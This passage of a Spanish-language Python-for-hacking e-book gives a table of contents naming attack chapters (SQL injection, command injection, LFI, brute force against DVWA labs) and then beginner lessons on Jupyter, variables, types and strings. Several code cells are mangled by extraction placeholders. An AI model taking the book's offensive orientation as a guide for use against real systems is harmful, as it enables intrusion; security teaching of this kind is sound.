Guía Completa de Python y Seguridad
Guía Completa de Python y Seguridad
3
PCAP_RDP_C2.................................................................................................................................271
El túnel RDP con Meterpreter......................................................................................................272
Escaneo básico de puertos TCP................................................................................................. 287
Escaneo de rango de puertos con multithreading....................................................................... 289
Escaneo con detección de banners.............................................................................................289
SSH, en palabras simples................................................................................................................. 295
Accediendo/var/log/[Link].............................................................................................................. 296
Interpretación de registros SSH........................................................................................................ 296
Estructura General de un Registro en [Link]................................................................................. 297
Formato [Link]............................................................................................................................... 297
Creación de Registros Logs para el Ejercicio....................................................................................298
Intento de Fuerza Bruta sobre el servidor......................................................................................... 300
Agregando en Ataque dentro de los logs.......................................................................................... 300
Investigación Forense de Logs SSH................................................................................................. 303
Parser de Logs.................................................................................................................................. 304
Importación de Librerías.................................................................................................................... 323
¿Tiene HTTPS? El mínimo decente de seguridad............................................................................ 323
Los encabezados de seguridad.........................................................................................................324
Antivirus del navegador para ataques de script................................................................................ 324
Detectar si hay un WAF de forma simple.......................................................................................... 325
¿El sitio obliga a usar HTTPS siempre?............................................................................................326
¿Se redirige automáticamente a HTTPS?.........................................................................................326
Reputación de la IP.. ¿es una IP oscura?..........................................................................................327
Pequeño wrapper para simplificar el uso.......................................................................................... 327
Qué versión de TLS usa el sitio.........................................................................................................328
Escaneo de malware del sitio web.................................................................................................... 328
El puntaje final de seguridad............................................................................................................. 329
Devolver resultados individuales (para graficar)............................................................................... 330
El velocímetro: un gráfico estilo nivel de seguridad.......................................................................... 330
Gráfico horizontal de cada control.....................................................................................................331
Resolver el dominio a su dirección IP real........................................................................................ 332
Scanner de Información Básica.........................................................................................................334
Detectar tecnologías con requests (fingerprinting simple)................................................................ 335
Detectar si un sitio está mal configurado (Security Headers)............................................................336
Requests para detectar redirecciones peligrosas............................................................................. 336
Detectar subdominios expuestos...................................................................................................... 337
Requests para detectar WAF simple................................................................................................. 337
Requests para detectar Malware en la página (heurística simple)....................................................338
Requests para OSINT....................................................................................................................... 338
Escaneo simple de directorios (Directory Discovery)........................................................................ 338
Descubrimiento de archivos sensibles.............................................................................................. 339
Crawler simple (recorre links dentro de la página)............................................................................ 340
Brute Force de directorios con una wordlist externa......................................................................... 341
Buscar paneles de login.................................................................................................................... 342
4
ejemplo 1 - extraer todos los links de una pagina (con comentarios)............................................... 343
ejemplo 2 - listar formularios e inputs (con comentarios).................................................................. 347
ejemplo 3 - leer una tabla html (mutillidae tiene muchas)................................................................. 348
Código para probar 5 passwords en el login de dvwa (Brute Force HTTP)...................................... 350
Acceder a una página interna después del login...............................................................................351
XSS Reflected (GET con parámetro vulnerable)...............................................................................352
SQL injection by Error....................................................................................................................... 353
Command Injection............................................................................................................................354
Local File Inclusion - LFI....................................................................................................................355
Arbitrary File Upload.......................................................................................................................... 356
Mini SQLMAP - UNION-BASED............................................................................................................ 357
Detectar columnas.............................................................................................................................357
Detectar columna imprimible............................................................................................................. 358
Extraer versión.................................................................................................................................. 359
Extraer database............................................................................................................................... 360
Extraer tablas.................................................................................................................................... 361
Extraer columnas...............................................................................................................................362
Extraer usuarios................................................................................................................................ 363
Escaneo rápido de puertos comunes................................................................................................ 365
Escaneo de puertos del 1 al 1000..................................................................................................... 366
Detección de servicios y versiones................................................................................................... 367
Detección del sistema operativo........................................................................................................369
Antes de empezar con Flask............................................................................................................. 370
Flask súper básico.............................................................................................................................370
Flask con plantilla HTML + Formulario simple...................................................................................371
Flask + Nmap.................................................................................................................................... 373
Crear la estructura básica del proyecto.............................................................................................376
Crear la base de datos SQLite.......................................................................................................... 377
Escribir la aplicación Flask dentro de Jupyter - [Link]..................................................................... 378
Dashboard [Link]........................................................................................................................382
Javascript.......................................................................................................................................... 383
CSS................................................................................................................................................... 386
Monitoreo emocional en tiempo simulado ante un posible ataque....................................................394
Análisis de sentimiento en alertas SOC............................................................................................ 396
Analizar sentimiento de servicios detectados por un escáner...........................................................397
getinfoCountry()................................................................................................................................. 398
Nmap................................................................................................................................................. 400
prepare_cpe(cpe).............................................................................................................................. 403
NVD Rate Limit.................................................................................................................................. 404
getCPE()............................................................................................................................................ 405
parser_response()............................................................................................................................. 406
Print()................................................................................................................................................. 408
CatScanner 2.0..................................................................................................................................410
Configuración inicial.......................................................................................................................... 410
5
Base de datos.................................................................................................................................... 411
Guardar puertos encontrados y vulnerabilidades asociadas.............................................................412
Lecturas desde SQLite...................................................................................................................... 412
Información Geo-IP........................................................................................................................... 413
Normalización del CPE......................................................................................................................413
Control del rate-limit y Llamada real a la API de NVD 2.0.................................................................413
Parser de vulnerabilidades................................................................................................................ 415
Escaneo con nmap............................................................................................................................ 416
[Link].......................................................................................................................................... 417
[Link].................................................................................................................................. 419
CatScanner… vamos a trabajar........................................................................................................ 424
Final del Libro........................................................................................................................................ 426
Este libro está pensado para quienes necesitan aprender Python 3 desde lo más básico… pasando por
conceptos generales… hasta llegar a construir pequeñas aplicaciones web sin que el camino se vuelva una
tortura. El objetivo es darte los fundamentos necesarios para que puedas escribir tus propias herramientas,
modificar las que ya existen o simplemente entender cómo funciona un lenguaje interpretado cuando uno lo
mira con esa mirada media hacker… media curiosa.
Todos los ejemplos vienen desde casos prácticos de ciberseguridad… para que la lectura sea más natural,
menos académica y más útil en la vida real. Igual, no te preocupes: este libro lo puede usar cualquiera que
tenga ganas de aprender Python… incluso si nunca ha abierto un terminal.
Como complemento, trabajamos todo en Jupyter… esta especie de nave nodriza portátil donde puedes
mezclar texto y código en una misma página… correr ejemplos sin máquinas virtuales… sin enredos… sin
tutoriales eternos. Solo tú… el Notebook… y, si tienes gatos, probablemente una pata felina presionando
Enter cuando no corresponde.
6
Lenguaje de Programación Python
Python es uno de esos lenguajes que uno mira y dice… oye, esto es casi pseudocódigo...… y no en mala,
sino porque realmente es fácil de leer, simple de escribir y lo bastante potente como para que te preguntes
por qué no lo habías usado antes. Tiene esa mezcla rara entre elegancia y sencillez… como si alguien
hubiese decidido que programar no tiene por qué doler.
Entre sus características más importantes está que es un lenguaje interpretado… trae un montón de librerías
instaladas por defecto… no tienes que declarar el tipo de dato de cada variable (Python confía en ti… o al
menos hace como que confía)… y puedes escribir tanto código orientado a objetos como estructurado,
dependiendo de qué tan filosófico te encuentres ese día. Su sintaxis es limpia… clara… casi terapéutica… y
el código corre en múltiples plataformas sin que tengas que sufrir configurando mil cosas.
Y claro… todo esto lo convierte en un lenguaje ideal para hackers que quieran crear sus propias
herramientas… o automatizar esas tareas que normalmente se demoran una eternidad. Python te deja
enfocarte en la lógica… en el problema… en la creatividad… mientras Tom pasa por encima del teclado y
Otto asiente desde el más allá como buen maestro jedi felino.
Python es simple… pero no básico. Y por lo mismo, es perfecto para este viaje.
Iniciándose en Python
Para comenzar, debemos saber que Python viene instalado por defecto en la mayoría de los sistemas
operativos (Linux, MacOs, Solaris y AIX). El único sistema operativo que no cuenta con Python instalado por
defecto es Windows (lo sé, siempre arruinando la fiesta).
Todos los ejemplos que vamos a ver en este libro, van a ser realizados en Jupyters, pero sus ejercicios
pueden ser fácilmente llevados a una máquina distinta, por ejemplo Kali Linux, Si no sabes mucho de
informática y con este libro te estás iniciando, te sugiero, sigas el paso a paso del libro, para que te resulten
todos los ejercicios propuestos y no te desmotives en el camino por algún error en la programación.
7
También me gustaría aclarar que en este libro NO se tratarán temas de instalación de python sobre Windows
u otras tecnologías, espero no desviarme del objetivo principal de profundizar sobre este maravilloso
lenguaje y su práctica orientada al hacking, espero de corazón que aprendas a programar siguiendo el paso
a paso y no mueras en el intento, como suele suceder con muchos libros que he visto circular por internet.
Pero en Linux la historia es distinta… no difícil, solo distinta… así que conviene conocer algunos comandos
básicos que te van a acompañar varias veces durante este viaje.
sudo
El famoso sudo… ese que uno escribe con respeto. El nombre viene de super user do, y es la utilidad que
permite ejecutar programas con privilegios de otro usuario, normalmente el usuario root. Es decir… te
conviertes temporalmente en súper usuario para hacer tareas que requieren más poder. Úsalo con cuidado…
como si Otto te estuviera mirando desde el lado oscuro del Notebook.
apt-get
Este comando trabaja con el sistema de paquetes de Linux. apt-get revisa una base de datos donde se lleva
el registro de lo que tienes instalado, lo que no tienes, lo que está disponible y lo que depende de qué.
Cuando pides instalar algo… apt-get ve qué necesitas… qué otras cosas hay que traer… y lo organiza todo
para que funcione sin que tengas que armar un mapa mental.
apt-get update
Cada cierto tiempo conviene ejecutar este comando. update actualiza la lista de paquetes disponibles y sus
versiones… pero no instala nada aún. Solo descarga la información desde los repositorios definidos en
/etc/apt/[Link]. Es como decirle a Linux..... Oye, ¿qué hay de nuevo por ahí afuera?
8
apt-get upgrade
Una vez que ya actualizaste la lista, viene el momento de instalar las versiones nuevas de los paquetes que
ya tienes. apt-get upgrade hace justamente eso… descarga las actualizaciones y las aplica respetando tu
configuración cuando es posible. Es como hacer aseo general… pero de software.
Con estos comandos ya tienes una base sólida para moverte en Linux… y ahora sí… podemos volver
tranquilos al Jupyter Notebook, donde Tom probablemente ya se acostó encima de una tecla y dejó algo
escrito que no puse yo.
¿Qué es Anaconda?
Anaconda es, básicamente, ese salvavidas que te evita pelear con Python desde el primer minuto. Lo
instalas… y listo. Nada de andar configurando cosas raras, ni arreglando errores que no sabes de dónde
salieron. Es como cuando en Star Wars alguien dice “usa la Fuerza”… y simplemente funciona.
Dentro viene Jupyter Notebook listo para usar. Lo abres y aparece de inmediato en tu navegador,
funcionando localmente en tu computador… como un pequeño laboratorio donde puedes mezclar texto,
código y resultados en un mismo lugar. Es cómodo, práctico… casi como tener tu propia consola de mando,
pero sin los ruidos de nave espacial.
La gracia es que puedes ir probando cosas paso a paso… escribes un bloque de código, lo ejecutas,
comentas arriba o abajo… y sigues. Además, los notebooks se guardan como cualquier archivo normal:
puedes dejarlos en tu carpeta de proyectos, en Google Drive, o donde tú quieras… igual que un PPT o un
Excel, pero con superpoderes.
En resumen… Anaconda te ordena el camino para que te preocupes de crear y no de configurar… algo que
cualquier chileno agradece cuando tiene poco tiempo y quiere avanzar sin enredos.
Comenzando a programar
Cuando uno empieza a programar… lo primero es entender la filosofía del lenguaje y cómo vamos a traducir
nuestros pensamientos a algo que la máquina pueda ejecutar. Al final del día, el computador solo entiende
operaciones matemáticas y comparaciones… verdadero o falso… y nada más. Así que nuestra tarea es
aprender a pensar en ambos mundos: el de los humanos y el de las máquinas.
A mí me gusta verlo así..... programar es enseñarle a la computadora a pensar… y ojalá a pensar bien, para
hacernos la vida más sencilla. Cada vez que un programa se ejecuta, lo que realmente está pasando es que
una idea humana quedó escrita ahí… paso a paso… y ahora la máquina simplemente la sigue. Cuando
9
creemos que una máquina es inteligente..… en realidad estamos celebrando el trabajo de uno o varios
programadores que hicieron magia donde parecía imposible.
Programar es parecido a escribir un libro… o una receta de cocina. Tienes que describir cómo se hace una
tarea, paso por paso… pero con un detalle adicional... tienes que imaginar qué otras cosas podrían pasar
cuando el programa se ejecute. Por ejemplo, si escribes un programa para atacar un servidor web y asumes
que siempre está en el puerto 80… tu código va a fallar en todos los casos donde el servicio esté en otro
puerto. Y en la práctica, un servidor web puede estar corriendo en cualquier puerto del 0 al 65.535… así que
limitarte al 80 te hace perder la posibilidad de auditar o detectar vulnerabilidades en otros servicios. Eso es lo
que llamamos un error de diseño… de esos que después cuestan caro.
La consola sirve para hacer pruebas rápidas… cosas pequeñas… ideas que quieres validar al tiro. Cada
instrucción se ejecuta inmediatamente, así que requiere conocer bien el lenguaje. Personalmente la uso
poco… prefiero trabajar de una forma más ordenada.
Esta es la forma más común. Escribes tu código en un archivo con extensión .py… lo guardas… lo
ejecutas… lo modificas cuando quieras. Es limpio, organizado y te permite mantener tus programas en el
tiempo.
Las dos formas son útiles… cada una para lo suyo.... Si necesitas velocidad, anda por la consola
interactiva… si quieres algo más perdurable, anda por un .py.
En el fondo… programar es encontrar tu propio flujo… ese equilibrio entre lógica, paciencia… y un par de
pausas largas mientras Jupyter carga la celda y tú te preguntas si debiste haber probado esto antes.
Cuando instalas Anaconda, ya viene Python configurado y listo para usar. En Windows no lo vas a encontrar
en rutas típicas como /usr/local/bin/python… aquí se guarda dentro de la carpeta interna de Anaconda, algo
así como:
10
C:\Users\TU_USUARIO\anaconda3\[Link]
Pero lo bueno es que no necesitas memorizar ni buscar esa ruta… Jupyter ya sabe dónde está el intérprete y
se conecta directamente. Solo abres el Notebook… y empiezas a escribir. Es como encender una consola de
mando y que todo esté funcionando sin preguntar nada.
!python --version
En Jupyter puedes ejecutar comandos del sistema poniendo un ! al inicio… igual que en Linux. Es una de
esas pequeñas cosas que hacen que el Notebook se sienta como una mezcla rara entre terminal y cuaderno
digital… pero funciona muy bien.
Por ejemplo, si quieres revisar los archivos de tu carpeta actual, puedes escribir algo como:
!dir # en Windows
!ls # en Linux
La idea es la misma… Jupyter envía ese comando al sistema operativo y te muestra el resultado
directamente en la celda… así, sin rodeos. Es cómodo para hacer pruebas rápidas, revisar rutas o ejecutar
herramientas mientras vas escribiendo tu código Python.
Ejemplo:
In [1]:
!python --version
Python 3.13.5
In [2]:
!ver
Esto funciona también en Windows… pero hay un par de diferencias importantes que conviene tener claras
antes de probar cosas a la rápida.
Porque apt-get es exclusivo de Linux... En Windows, instalar programas del sistema va por otro camino…
normalmente un instalador .exe, o herramientas como winget o chocolatey, dependiendo de lo que uses en tu
máquina.
11
Un ejemplo equivalente en Windows sería: !winget install nmap
En resumen… Jupyter te deja mezclar comandos del sistema en ambas plataformas, pero cada una tiene
sus propias reglas del juego… algo así como cambiar del Lado Luminoso al Lado Oscuro: la idea base es la
misma, pero los comandos se portan distinto.
Para empezar con la primera parte... donde vamos a ejecutar nuestra primera instrucción en el intérprete de
Jupyter..... me gustaría detenerme un segundo… y explicar de manera simple cómo se ejecuta un programa
en Python. Nada complejo… solo lo suficiente para entender qué pasa detrás de escena cuando corremos
un script.
Un programa, al final, es un conjunto de instrucciones escritas en un lenguaje de alto nivel. Algo que
nosotros podemos leer sin sufrir, y que luego será interpretado por una especie de traductor. Cuando
ejecutas tu programa, el intérprete de Python lee el código línea por línea… lo analiza… y lo transforma en
instrucciones de bajo nivel llamadas bytecode, que es algo mucho más cercano al lenguaje que entiende la
CPU.
La CPU (la Unidad Central de Procesamiento) toma ese bytecode… lo ejecuta… y realiza cálculos y
operaciones según lo que tú escribiste. Durante todo este proceso, el programa usa la memoria RAM como
espacio de trabajo: ahí guarda variables, estructuras de datos… y todo lo que necesita mientras corre.
Además, el programa puede interactuar con el sistema operativo: abrir archivos… usar la red… comunicarse
con otros procesos… lo típico. Si necesita conectarse a internet, el sistema operativo se encarga de hablar
con los controladores de red, configurar la conexión Wi-Fi y manejar las capas físicas de la comunicación. Y
cuando los datos finalmente viajan… lo hacen usando protocolos como TCP/IP, que permiten que cada
dispositivo sepa a dónde enviar cada paquete usando direcciones IP únicas.
Si tu programa habla con un servidor remoto, utiliza sockets para establecer la conexión. Eso permite una
comunicación bidireccional entre tu programa y el servidor. Si en cambio interactúa con una base de datos,
usa un driver especializado para conectarse, enviar consultas y recibir resultados. El servidor de base de
datos procesa todo y te devuelve una respuesta, que viaja nuevamente como datos binarios a través de la
red.
Todo esto, por supuesto, es una explicación súper simplificada… en la realidad hay muchas más capas de
software, hardware, protocolos y medidas de seguridad que trabajan en conjunto para que todo funcione sin
que te des cuenta.
12
Así que antes de irnos al ejemplo, respiremos un poco… acomodamos el Notebook… y vemos algo clásico
para romper el hielo.
In [3]:
print("Hola, mundo!")
Hola, mundo!
Ese es nuestro primer saludo en Python… simple… directo… casi como mandarle un mensaje al universo
desde el Notebook. Pero para que te hagas una idea de lo que pasa debajo… y de por qué Python es tan
amable comparado con el metal puro… aquí te dejo un “Hola, mundo!” escrito en ensamblador x86. Sí… esa
etapa donde uno mira el código y piensa “ya, esto parece castigo”....
In [4]:
section .data
hello db 'Hola, mundo!',0
section .text
global _start
_start:
mov eax, 4
mov ebx, 1
mov ecx, hello
mov edx, 13
int 0x80
mov eax, 1
int 0x80
Esto es hablarle directamente al procesador… registro por registro… byte por byte. Aquí no hay intérprete
que te cubra la espalda… eres tú… la CPU… el sistema operativo… y probablemente Tom pasando por el
teclado sin ninguna consideración por el esfuerzo mental que implica leer ensamblador.
Es importante recalcar que todo este proceso... cargar el programa en memoria, asignar espacio, administrar
registros, manejar recursos..... lo realiza el sistema operativo. Tú escribes el código… y el sistema hace el
resto… como cuando trabajas con un equipo donde todos saben lo que tienen que hacer… bueno, casi
todos.
Comparar ambos ejemplos ayuda a entender por qué Python nos simplifica tanto la vida. En un caso
escribes una línea y funciona… en el otro sientes que estás desarmando un VHS del año 98 sin manual.
Así que… con esto claro… respiramos un poco… dejamos que Jupyter cargue tranquilo… movemos al gato
si está pisando la tecla Enter…
13
Y comencemos.
El primer ejemplo que vamos a escribir en Python será algo muy simple… la declaración de una variable. Es
como el... hola, soy programador del lenguaje… suave… sin complicaciones… ideal para seguir calentando
motores antes de meternos en cosas más entretenidas.
A veces la magia de Python empieza justamente aquí… en cómo una instrucción tan corta puede representar
un pedacito de tu pensamiento convertido en código. Y sí… mientras uno escribe estas cosas, siempre existe
la posibilidad de que el gato aparezca y decida renombrarte la variable sin preguntar… pero bueno… parte
del encanto de trabajar en un Notebook en casa.
In [5]:
ip = "[Link]"
Lo que acabamos de hacer es decirle a la consola que vamos a guardar un dato… en este caso la dirección
[Link]… dentro de una variable llamada ip. Python simplemente toma ese valor y lo deja guardado
ahí… esperando a que lo uses más adelante.
Cada vez que queramos saber qué valor tiene guardado la variable ip… escribimos algo así:
In [6]:
ip
Out[6]:
'[Link]'
Y listo… Python nos devuelve lo que tiene adentro sin hacer ningún drama....ojalá todo en la vida fuera así
de directo…
Para asignar un valor a una variable en Python usamos el símbolo = … que en este contexto no significa “es
igual”, sino “asigna este valor aquí”. Las variables pueden tener el nombre que tú quieras… en este caso
escribimos ip… pero podría haber sido cualquier otro nombre que te haga sentido.
Ahora, si queremos sumar dos números directamente en la consola… lo hacemos así… simple… sin
ceremonias:
In [7]:
7 + 7
14
Out[7]:
14
Python evalúa la expresión… y nos devuelve el resultado de inmediato. Y eso es lo bonito del intérprete…
puedes probar ideas rápido, casi como si estuvieras conversando con el lenguaje. Python no pregunta
nada… solo evalúa la operación y te muestra el resultado al tiro.
Por otra parte… si queremos restar… hacemos exactamente lo mismo, pero con el operador
correspondiente. Algo así:
In [8]:
33 - 30
Out[8]:
3
Y listo… Python devuelve el resultado sin complicarse. A veces uno mira esto y piensa que ojalá las
matemáticas del colegio hubieran sido así de amables… pero bueno… cosas del pasado.
Ahora, si queremos sumar dos números que están guardados en variables… lo hacemos así… simple y
ordenado:
In [9]:
a = 30
b = 3
In [10]:
a + b
Out[10]:
33
Si queremos saber cómo funciona una librería en particular… o simplemente entender qué opciones trae…
podemos usar la función help() de Python. Es como pedirle al intérprete que nos muestre el manual… pero
sin tener que abrir otra ventana.
In [11]:
help("json")
15
NAME
json
MODULE REFERENCE
[Link]
DESCRIPTION
JSON (JavaScript Object Notation) <[Link] is a subset of
JavaScript syntax (ECMA-262 3rd edition) used as a lightweight data
interchange format.
Python mostrará la descripción, las funciones disponibles… y toda la información útil para orientarte. Es una
herramienta bien práctica cuando estás aprendiendo… o cuando, después de varias horas frente al
Notebook, ya no recuerdas si una función se llamaba connect… connexion… o si Tom borró una letra
mientras pasaba por el teclado.
16
Si queremos saber si tenemos instalada alguna librería en particular… por ejemplo mysql o nmap… que
sabemos que no vienen por defecto en Python… podemos probar importarlas directamente.
In [12]:
help("python-nmap")
Si la librería está instalada… Python cargará el módulo sin decir nada. Si no está disponible… el intérprete
mostrará un error avisando que el módulo no existe. Es una manera simple… rápida… y bastante práctica
para confirmar qué tenemos en el entorno, sobre todo cuando llevamos rato trabajando y ya no recordamos
si lo instalamos o lo soñamos después de ver demasiado código en la noche.
Si esos valores no van a cambiar durante la ejecución del programa, podemos tratarlos como constantes. En
cambio… si el valor puede variar con el tiempo o simplemente no estamos seguros de cómo lo vamos a usar
después… lo más natural es definirlo como variable.
La idea es sencilla… pero entender esta diferencia desde el principio ayuda mucho a mantener el código
ordenado y más fácil de leer. Es como cuando estás cocinando… hay ingredientes que van fijos desde el
inicio… y otros que ajustas sobre la marcha. Python funciona parecido.
La forma de definir una variable en Python es muy sencilla… solo escribes el nombre que quieras usar…
seguido del símbolo = y luego el contenido que vas a guardar.
Algo así:
mi_variable = contenido_asignado_a_la_variable
17
Python toma ese valor… lo guarda… y desde ese momento puedes usarlo cuando lo necesites. Sin
declaraciones previas… sin tipos obligatorios… solo asignas y sigues.
La forma de definir una constante en Python es… curiosa. Python no tiene constantes “reales” como otros
lenguajes… así que lo que hacemos es usar una convención de escribir el nombre en mayúsculas.
MI_CONSTANTE = contenido_asignado_a_la_variable
Esto le indica al lector del código que ese valor no debería cambiar… aunque Python técnicamente te dejaría
modificarlo si insistes. Es más una regla de buena práctica que una obligación del lenguaje.
Para explicar mejor este tema… vamos a usar la consola web interactiva de Python. Es un buen lugar para
probar ideas rápido… ver cómo se comportan las variables y las constantes… y entender en la práctica lo
que acabamos de revisar.
In [13]:
mi_variable = "contenido guardado"
In [14]:
mi variable = "contenido guardado"
1. Espacios al definir una variable, el intérprete de python no lo procesaría por error de sintaxis.
2. Al utilizar caracteres como por ejemplo $ %&/()=?¿! al definir variables
In [15]:
$variable = "contenido guardado"
3. Al comenzar una definición de variables con números, el intérprete lo tomará como valor literal.
18
In [16]:
1variable = "contenido guardado"
Para trabajar con variables… siempre es buena idea usar nombres descriptivos. Ayuda mucho a entender
qué tipo de dato guardan y cuál es su propósito dentro del programa. Al final, el código no solo lo lee la
máquina… también lo leemos nosotros… y agradecerás esos nombres claros cuando vuelvas a revisar tu
proyecto después de varias semanas.
Si necesitas usar más de una palabra, lo recomendado es separarlas con guion bajo… así:
In [17]:
MI_CONSTANTE = "[Link]"
Eso hace que el código sea más legible… más limpio… y más fácil de seguir... Son pequeños detalles… pero
cuando el programa crece, se nota muchísimo.
Y si queremos imprimir el valor de una variable o una constante en pantalla, usamos la palabra reservada
print() la misma que hemos usado varias veces.
Tal como vimos en los ejemplos anteriores… las constantes van en mayúsculas y con guiones bajos para
separar palabras. Las reglas son casi las mismas que para las variables… y si mantenemos estas pequeñas
buenas prácticas desde el principio, evitaremos errores y enredos más adelante.
In [17]:
print (MI_CONSTANTE) # imprimir en pantalla
[Link]
Tipos de Datos
Para entender cómo trabajamos con la información dentro de un programa… primero necesitamos tener
claro qué tipo de datos vamos a manipular. En una computadora, la información se presenta básicamente
19
como números, cadenas de texto y valores booleanos (verdadero o falso). Estos tres pilares son la base de
casi todo lo que hacemos en programación.
Imaginemos un caso concreto… nos encargan construir un programa que se conecte a Internet para
recuperar información. Antes de escribir cualquier línea de código… vale la pena hacerse una pregunta
sencilla… pero fundamental:
¿Qué tipos de datos nos vamos a encontrar al escribir un script que se conecte a Internet?
En resumen:
Estos tres datos parecen simples… pero son parte de la estructura básica de cualquier comunicación en red.
Y claro… en Python es muy fácil representarlos, lo cual ayuda bastante cuando uno está recién empezando.
Ahora… llevemos este mismo ejemplo al lenguaje Python. Abramos la consola web interactiva… y digitamos
lo siguiente.
In [18]:
ip = [Link]
Aprovechemos este error para recalcar algo importante sobre el manejo de variables… Si analizamos lo que
escribimos antes, nos damos cuenta de que en la variable ip el valor asignado contiene números y puntos. Si
fueran solo números, no habría problema… pero al incluir el carácter punto, Python ya no lo interpreta como
número, sino como algo que necesita estar entre comillas.
20
In [19]:
ip = "[Link]"
print(ip)
[Link]
Ahora sí… no apareció ningún error de sintaxis. Cada vez que trabajemos con cadenas de texto, tenemos
que decidir si usamos comillas simples o comillas dobles… y respetar esa elección. Si abro con comillas
simples… cierro con comillas simples. Si abro con comillas dobles… cierro con comillas dobles. Python es
flexible… pero también es ordenado en estas cosas.
Para demostrar lo que pasa cuando no respetamos esa regla, voy a crear la misma variable… pero abriendo
con comillas dobles y cerrando con comillas simples. Veamos qué ocurre….
In [20]:
ip = "[Link]'
print(ip)
Podemos apreciar que el intérprete de Python nos muestra un error de sintaxis… confirmando exactamente
lo que mencionamos antes. Python no perdona cuando abrimos con un tipo de comillas y cerramos con
otro… así que es bueno tener ese hábito claro desde el principio.
Ahora, si queremos comprobar qué tipo de dato contiene la variable ip, podemos usar la función type() que
es como preguntarle directamente al intérprete.... oye, ¿qué eres tú?.
In [24]:
ip = '[Link]'
type(ip)
Out[24]:
str
En el ejemplo anterior, el intérprete nos indicó que el valor es de tipo texto… usando la abreviación str, que
viene de string o cadena de texto. Python suele usar estos nombres cortos… y uno se acostumbra rápido.
Ahora probemos cómo se escribiría en Python la variable puerto… algo simple… pero que nos sirve para ver
la diferencia con el ejemplo anterior.
In [25]:
21
puerto = 443
type(puerto)
Out[25]:
int
Realizando el mismo ejemplo que en el ejercicio anterior, nos damos cuenta de que esta vez no utilizamos
comillas. Esto es porque los valores numéricos en Python se escriben directamente… sin comillas… tal cual.
Y si aplicamos la función type() sobre esa variable, veremos que Python nos indica que es de tipo int, que es
la abreviación de integer…. o simplemente “entero”.
Así vamos distinguiendo cuándo corresponde usar comillas… y cuándo no. Son detalles simples… pero muy
importantes para evitar errores más adelante.
type(variable)
Para terminar con este ejemplo… vamos a usar una variable de tipo Verdadero o Falso. Estos valores, los
booleanos... son clave cuando necesitamos tomar decisiones dentro del programa… y Python los maneja de
manera muy sencilla.
In [26]:
conexion = True
print(conexion)
type(conexion)
Out[26]:
True
bool
22
Manipulación de subcadenas
Para entender cómo funcionan las subcadenas, podemos imaginarnos que cada texto se puede
descomponer en pequeñas partes… como si fuera un rompecabezas que podemos cortar, unir o analizar
según lo que necesitemos. Python deja trabajar con estos fragmentos de manera muy sencilla… y eso facilita
mucho la vida cuando estás procesando datos, URLs o mensajes que traes desde Internet.
En el siguiente ejemplo vamos a demostrar que un conjunto de textos agrupados… suman una sola cadena
de caracteres… una especie de “mini ensamble” que Python arma sin problemas.
In [27]:
sitio = "[Link]
len(sitio)
Out[27]:
22
Aquí utilizamos la función nativa de Python len() que nos permite saber cuántos caracteres tiene la variable
sitio. En este caso el resultado es 22 caracteres… y lo podemos comprobar fácilmente si contamos cada
uno.
En Python, las cadenas de texto funcionan con índices que comienzan en cero… es decir, el primer carácter
está en la posición 0, el siguiente en la 1, y así sucesivamente hacia la derecha. Cada carácter ocupa un
espacio reservado dentro del string… y Python usa estos números para acceder a cada posición de manera
rápida.
Si contamos todos los caracteres.... y partimos desde cero... llegamos a ese total de 22. Ahora, si queremos
acceder al valor exacto de cada posición del string… lo hacemos así… simple y directo:
In [28]:
print(sitio[0])
print(sitio[1])
print(sitio[2])
print(sitio[3])
23
print(sitio[4])
print(sitio[5])
print(sitio[6])
print(sitio[7])
h
t
t
p
s
:
/
/
El nombre de la variable que queremos manipular + el símbolo [número] nos indica la posición del texto…
como en sitio[número]. En el ejercicio anterior listamos desde la posición 0 hasta la posición número 7. Con
eso fuimos recorriendo letra por letra el texto… mirando cada carácter en su lugar.
Ahora… si queremos extraer todo lo que está entre las posiciones 0 y 7… basta con escribir sitio[0:8]… que
en lenguaje humano significa [desde : hasta].
In [29]:
print(sitio[0:8])
https://
Imaginemos que de la variable sitio debemos extraer el protocolo utilizado y el nombre de dominio,
aprovechando esta funcionalidad de python sería de la siguiente manera:
In [30]:
print(sitio[0:8])
print(sitio[8:22])
https://
[Link]
También podría funcionar el siguiente ejemplo para hacerlo automático aprovechando la función len():
In [31]:
print(sitio[0:8])
print(sitio[8:len(sitio)])
https://
[Link]
24
Concatenación de Variables e Interpolación
La concatenación en la programación se trata de unir o juntar dos variables para poder formar un mensaje o
unión de objetos. Para poder unir dos valores en python se puede utilizar el símbolo más (+) el símbolo
coma (,) o la interpolación.
[Link]
En el ejemplo de la interpolación nos damos cuenta de que se utiliza la función format() que nos permite
reemplazar los valores en una cadena de texto, el símbolo{número} indica que el valor se escribirá en esa
parte de la cadena de texto.
In [34]:
protocolo = "[Link]
sitio = "[Link]"
print(f"El Protocolo usado es {protocolo} y el sitio objetivo es {sitio}")
Esta es una segunda forma de usar formateo más resumida que la anterior, considerando que solo se debe
anteponer un f antes del texto.
Texto multilínea
Para trabajar con texto multilínea se debe utilizar triple comillas (“””) como en él siguiente ejemplo:
In [35]:
multilineas = """
esto
25
es
un
texto
multilineas
"""
print(multilineas)
Out [35]:
esto
es
un
texto
multilineas
Muchas veces nos encontraremos esto cuando analicemos un script de hacking donde se usa para formatear
un banner.
In [36]:
banner = """
__ .__ __
_______/ |______ _______| |__ _____ ____ | | __ ______
/ ___/\ __\__ \\_ __ \ | \\__ \ _/ ___\| |/ / / ___/
\___ \ | | / __ \| | \/ Y \/ __ \\ \___| < \___ \
/____ > |__| (____ /__| |___| (____ /\___ >__|_ \/____ >
\/ \/ \/ \/ \/ \/ \/
"""
print(banner)
__ .__ __
_______/ |______ _______| |__ _____ ____ | | __ ______
/ ___/\ __\__ \_ __ \ | \__ \ _/ ___\| |/ / / ___/
\___ \ | | / __ \| | \/ Y \/ __ \ \___| < \___ /____ > |__| (____ /__|
|___| (____ /\___ >__|_ \/____ >
\/ \/ \/ \/ \/ \/ \/
Otra forma de escribir varias líneas juntas es usar un acumulador de texto como el siguiente ejemplo:
In [37]:
acumulador =""
acumulador +="----------------------------------------------------------------------\n"
acumulador +=" Script Brute Force Mysql \n"
acumulador +=" v 1.0
acumulador +="----------------------------------------------------------------------\n"
print(acumulador)
----------------------------------------------------------------------
Script Brute Force Mysql
v 1.0
----------------------------------------------------------------------
Uso de comentarios
26
Para realizar comentarios en el código fuente sin que sea leído por el intérprete de Python debemos utilizar
el carácter gato (#) de la siguiente manera:
In [38]:
# esto es un comentario
Los comentarios en el código fuente son útiles para saber de qué se trata el código fuente, especificar para
que se utilicen las variables o cualquier cosa que queramos escribir.
Saltos de líneas
Ejemplo:
In [39]:
